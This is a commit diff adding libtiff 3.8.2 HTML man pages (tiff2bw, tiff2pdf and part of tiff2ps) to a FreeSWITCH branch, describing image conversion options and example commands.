+8-bit greyscale <i>thumbnail sketch</i>. The output file
+contains the thumbnail image with the associated
+full-resolution page linked below with the SubIFD tag.</p>
+<!-- INDENTATION -->
+<p>By default, thumbnail images are 216 pixels wide by 274
+pixels high. Pixels are calculated by sampling and filtering
+the input image with each pixel value passed through a
+contrast curve.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;w</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the width of thumbnail images in pixels.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;h</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the height of thumbnail images in pixels.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify a contrast curve to apply in generating the
+thumbnail images. By default pixels values are passed
+through a linear contrast curve that simply maps the pixel
+value ranges. Alternative curves are: <b>exp50</b> for a 50%
+exponential curve, <b>exp60</b> for a 60% exponential curve,
+<b>exp70</b> for a 70% exponential curve, <b>exp80</b> for a
+80% exponential curve, <b>exp90</b> for a 90% exponential
+curve, <b>exp</b> for a pure exponential curve,
+<b>linear</b> for a linear curve.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>There are no options to control the format of the saved
+thumbnail images.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffdump</b>(1), <b>tiffgt</b>(1), <b>tiffinfo</b>(1),
+<b>libtiff</b>(3)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2bw.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2bw.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/tiff2bw.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2bw.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2bw.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,160 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:12 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFF2BW</title>
+</head>
+<body>
+
+<h1 align=center>TIFF2BW</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>tiff2bw &minus; convert a color <small>TIFF</small> image
+to greyscale</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiff2bw</b> [ options ] <i>input.tif
+output.tif</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>Tiff2bw</i> converts an <small>RGB</small> or Palette
+color <small>TIFF</small> image to a greyscale image by
+combining percentages of the red, green, and blue channels.
+By default, output samples are created by taking 28% of the
+red channel, 59% of the green channel, and 11% of the blue
+channel. To alter these percentages, the <b>&minus;R</b>,
+<b>&minus;G</b>, and <b>&minus;B</b> options may be
+used.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify a compression scheme to use when writing image
+data: <b>&minus;c none</b> for no compression, <b>-c
+packbits</b> for the PackBits compression algorithm, <b>-c
+zip</b> for the Deflate compression algorithm, <b>-c g3</b>
+for the CCITT Group 3 compression algorithm, <b>-c g4</b>
+for the CCITT Group 4 compression algorithm, and <b>&minus;c
+lzw</b> for Lempel-Ziv &amp; Welch (the default).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;r</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Write data with a specified number of rows per strip; by
+default the number of rows/strip is selected so that each
+strip is approximately 8 kilobytes.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;R</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the percentage of the red channel to use
+(default 28).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;G</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the percentage of the green channel to use
+(default 59).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;B</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the percentage of the blue channel to use
+(default 11).</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>pal2rgb</b>(1), <b>tiffinfo</b>(1), <b>tiffcp</b>(1),
+<b>tiffmedian</b>(1), <b>libtiff</b>(3)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2pdf.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2pdf.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/tiff2pdf.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2pdf.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2pdf.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,599 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:12 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFF2PDF</title>
+</head>
+<body>
+
+<h1 align=center>TIFF2PDF</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#EXAMPLES">EXAMPLES</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p>tiff2pdf - convert a TIFF image to a PDF document</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>tiff2pdf [</b> <i>options</i> <b>]</b>
+<i>input.tiff</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>tiff2pdf</b> opens a TIFF image and writes a PDF
+document to standard output.</p>
+<!-- INDENTATION -->
+<p>The program converts one TIFF file to one PDF file,
+including multiple page TIFF files, tiled TIFF files, black
+and white. grayscale, and color TIFF files that contain data
+of TIFF photometric interpretations of bilevel, grayscale,
+RGB, YCbCr, CMYK separation, and ICC L*a*b* as supported by
+<i>libtiff</i> and PDF.</p>
+<!-- INDENTATION -->
+<p>If you have multiple TIFF files to convert into one PDF
+file then use <i>tiffcp</i> or other program to concatenate
+the files into a multiple page TIFF file. If the input TIFF
+file is of huge dimensions (greater than 10000 pixels height
+or width) convert the input image to a tiled TIFF if it is
+not already.</p>
+<!-- INDENTATION -->
+<p>The standard output is standard output. Set the output
+file name with the <b>-o</b><i>output.pdf</i> option.</p>
+<!-- INDENTATION -->
+<p>All black and white files are compressed into a single
+strip CCITT G4 Fax compressed PDF, unless tiled, where tiled
+black and white images are compressed into tiled CCITT G4
+Fax compressed PDF, <i>libtiff</i> CCITT support is
+assumed.</p>
+<!-- INDENTATION -->
+<p>Color and grayscale data can be compressed using either
+JPEG compression, ITU-T T.81, or Zip/Deflate LZ77
+compression. Set the compression type using the
+<b>&minus;j</b> or <b>&minus;z</b> options. JPEG compression
+support requires that <i>libtiff</i> be configured with JPEG
+support, and Zip/Deflate compression support requires that
+<i>libtiff</i> be configured with Zip support, in
+tiffconf.h. Use only one or the other of <b>&minus;j</b> and
+<b>&minus;z.</b></p>
+<!-- INDENTATION -->
+<p>If the input TIFF contains single strip CCITT G4 Fax
+compressed information, then that is written to the PDF file
+without transcoding, unless the options of no compression
+and no passthrough are set, <b>&minus;d</b> and
+<b>&minus;n.</b></p>
+<!-- INDENTATION -->
+<p>If the input TIFF contains JPEG or single strip
+Zip/Deflate compressed information, and they are configured,
+then that is written to the PDF file without transcoding,
+unless the options of no compression and no passthrough are
+set.</p>
+<!-- INDENTATION -->
+<p>The default page size upon which the TIFF image is placed
+is determined by the resolution and extent of the image
+data. Default values for the TIFF image resolution can be
+set using the <b>&minus;x</b> and <b>&minus;y</b> options.
+The page size can be set using the <b>&minus;p</b> option
+for paper size, or <b>&minus;w</b> and <b>&minus;l</b> for
+paper width and length, then each page of the TIFF image is
+centered on its page. The distance unit for default
+resolution and page width and length can be set by the
+<b>&minus;u</b> option, the default unit is inch.</p>
+<!-- INDENTATION -->
+<p>Various items of the output document information can be
+set with the <b>&minus;e, &minus;c, &minus;a, &minus;t,
+&minus;s,</b> and <b>&minus;k</b> options. Setting the
+argument of the option to &quot;&quot; for these tags causes
+the relevant document information field to be not written.
+Some of the document information values otherwise get their
+information from the input TIFF image, the software, author,
+document name, and image description.</p>
+<!-- INDENTATION -->
+<p>The Portable Document Format (PDF) specification is
+copyrighted by Adobe Systems, Incorporated.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>&minus;o</b><i>output-file</i></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="21%"></td>
+<td width="77%">
+<p>Set the output to go to file <i>output-file</i></p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="4" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="4%">
+
+<p><b>&minus;j</b></p>
+</td>
+<td width="5%"></td>
+<td width="77%">
+
+<p>Compress with JPEG (requires libjpeg configured with
+libtiff).</p>
+</td>
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="4%">
+
+<p><b>&minus;z</b></p>
+</td>
+<td width="5%"></td>
+<td width="77%">
+
+<p>Compress with Zip/Deflate (requires zlib configured with
+libtiff).</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>&minus;q</b><i>quality</i></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="21%"></td>
+<td width="77%">
+<p>Set the compression quality, 1-100 for JPEG.</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="4" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="2%">
+
+<p><b>&minus;n</b></p>
+</td>
+<td width="7%"></td>
+<td width="77%">
+
+<p>Do not allow data to be converted without uncompressing,
+no compressed data passthrough.</p>
+</td>
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="2%">
+
+<p><b>&minus;b</b></p>
+</td>
+<td width="7%"></td>
+<td width="77%">
+
+<p>Set PDF &quot;Interpolate&quot; user preference.</p>
+</td>
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="2%">
+
+<p><b>&minus;d</b></p>
+</td>
+<td width="7%"></td>
+<td width="77%">
+
+<p>Do not compress (decompress).</p>
+</td>
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="2%">
+
+<p><b>&minus;i</b></p>
+</td>
+<td width="7%"></td>
+<td width="77%">
+
+<p>Invert colors.</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>&minus;p</b><i>paper-size</i></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="21%"></td>
+<td width="77%">
+<p>Set paper size, eg &quot;letter&quot;, &quot;legal&quot;,
+&quot;A4&quot;.</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>&minus;u</b><i>[i|m]</i></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="21%"></td>
+<td width="77%">
+<p>Set distance unit, <i>i</i> for inch, <i>m</i> for
+centimeter.</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>&minus;w</b><i>width</i></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="21%"></td>
+<td width="77%">
+<p>Set width in units.</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>&minus;l</b><i>length</i></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="21%"></td>
+<td width="77%">
+<p>Set length in units.</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="8%">
+
+<p><b>&minus;x</b><i>xres</i></p>
+</td>
+<td width="13%"></td>
+<td width="47%">
+
+<p>Set x/width resolution default.</p>
+</td>
+<td width="19%">
+</td>
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="8%">
+
+<p><b>&minus;y</b><i>yres</i></p>
+</td>
+<td width="13%"></td>
+<td width="47%">
+
+<p>Set y/length resolution default.</p>
+</td>
+<td width="19%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>&minus;r</b><i>[d|o]</i></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="21%"></td>
+<td width="77%">
+<p>Set <i>d</i> for resolution default for images without
+resolution, <i>o for resolution override for all
+images.</i></p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="2%">
+
+<p><b>&minus;f</b></p>
+</td>
+<td width="13%"></td>
+<td width="54%">
+
+<p>Set PDF &quot;Fit Window&quot; user preference.</p>
+</td>
+<td width="17%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>&minus;e</b><i>YYYYMMDDHHMMSS</i></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="21%"></td>
+<td width="77%">
+<p>Set document information date, overrides image or current
+date/time default, <i>YYYYMMDDHHMMSS.</i></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>&minus;c</b><i>creator</i></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="21%"></td>
+<td width="77%">
+<p>Set document information creator, overrides image
+software default.</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>&minus;a</b><i>author</i></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="21%"></td>
+<td width="77%">
+<p>Set document information author, overrides image artist
+default</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>&minus;t</b><i>title</i></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="21%"></td>
+<td width="77%">
+<p>Set document information title, overrides image document
+name default</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>&minus;s</b><i>subject</i></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="21%"></td>
+<td width="77%">
+<p>Set document information subject, overrides image image
+description default</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>&minus;k</b><i>keywords</i></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="21%"></td>
+<td width="77%">
+<p>Set document information keywords.</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="2%">
+
+<p><b>&minus;h</b></p>
+</td>
+<td width="13%"></td>
+<td width="57%">
+
+<p>List usage reminder to stderr and exit.</p>
+</td>
+<td width="14%">
+</td>
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="2%">
+</td>
+<td width="13%"></td>
+<td width="57%">
+<a name="EXAMPLES"></a>
+<h2>EXAMPLES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p>The following example would generate the file output.pdf
+from input.tiff.</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="20%"></td>
+<td width="79%">
+<p>tiff2pdf -o output.pdf input.tiff</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p>The following example would generate PDF output from
+input.tiff and write it to standard output.</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="20%"></td>
+<td width="79%">
+<p>tiff2pdf input.tiff</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p>The following example would generate the file output.pdf
+from input.tiff, putting the image pages on a letter sized
+page, compressing the output with JPEG, with JPEG quality
+75, setting the title to &quot;Document&quot;, and setting
+the &quot;Fit Window&quot; option.</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="20%"></td>
+<td width="79%">
+<p>tiff2pdf -p letter -j -q 75 -t &quot;Document&quot; -f -o
+output.pdf input.tiff</p></td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p>Please report bugs via the web interface at</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="20%"></td>
+<td width="79%">
+
+<p>http://bugzilla.remotesensing.org/enter_bug.cgi?product=libtiff</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="89%">
+<p><b>libtiff</b>(3)<b>, tiffcp</b>(1)<b>,
+tiff2ps</b>(1)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2ps.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2ps.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/tiff2ps.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2ps.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2ps.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,536 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:13 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFF2PS</title>
+</head>
+<body>
+
+<h1 align=center>TIFF2PS</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#EXAMPLES">EXAMPLES</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>tiff2ps &minus; convert a <small>TIFF</small> image to
+&trade;</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiff2ps</b> [ <i>options</i> ] <i>input.tif
+...</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>tiff2ps</i> reads <small>TIFF</small> images and
+writes or Encapsulated (EPS) on the standard output. By
+default, <i>tiff2ps</i> writes Encapsulated for the first
+image in the specified <small>TIFF</small> image file.</p>
+<!-- INDENTATION -->
+<p>By default, <i>tiff2ps</i> will generate that fills a
+printed area specified by the <small>TIFF</small> tags in
+the input file. If the file does not contain
+<i>XResolution</i> or <i>YResolution</i> tags, then the
+printed area is set according to the image dimensions. The
+<b>&minus;w</b> and <b>&minus;h</b> options (see below) can
+be used to set the dimensions of the printed area in inches;
+overriding any relevant <small>TIFF</small> tags.</p>
+<!-- INDENTATION -->
+<p>The generated for <small>RGB,</small> palette, and
+<small>CMYK</small> images uses the <i>colorimage</i>
+operator. The generated for greyscale and bilevel images
+uses the <i>image</i> operator. When the <i>colorimage</i>
+operator is used, code to emulate this operator on older
+printers is also generated. Note that this emulation code
+can be very slow.</p>
+<!-- INDENTATION -->
+<p>Color images with associated alpha data are composited
+over a white background.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;1</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Generate Level 1 (the default).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;2</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Generate Level 2.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;3</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Generate Level 3. It basically allows one to use the
+/flateDecode filter for ZIP compressed TIFF images.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;a</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
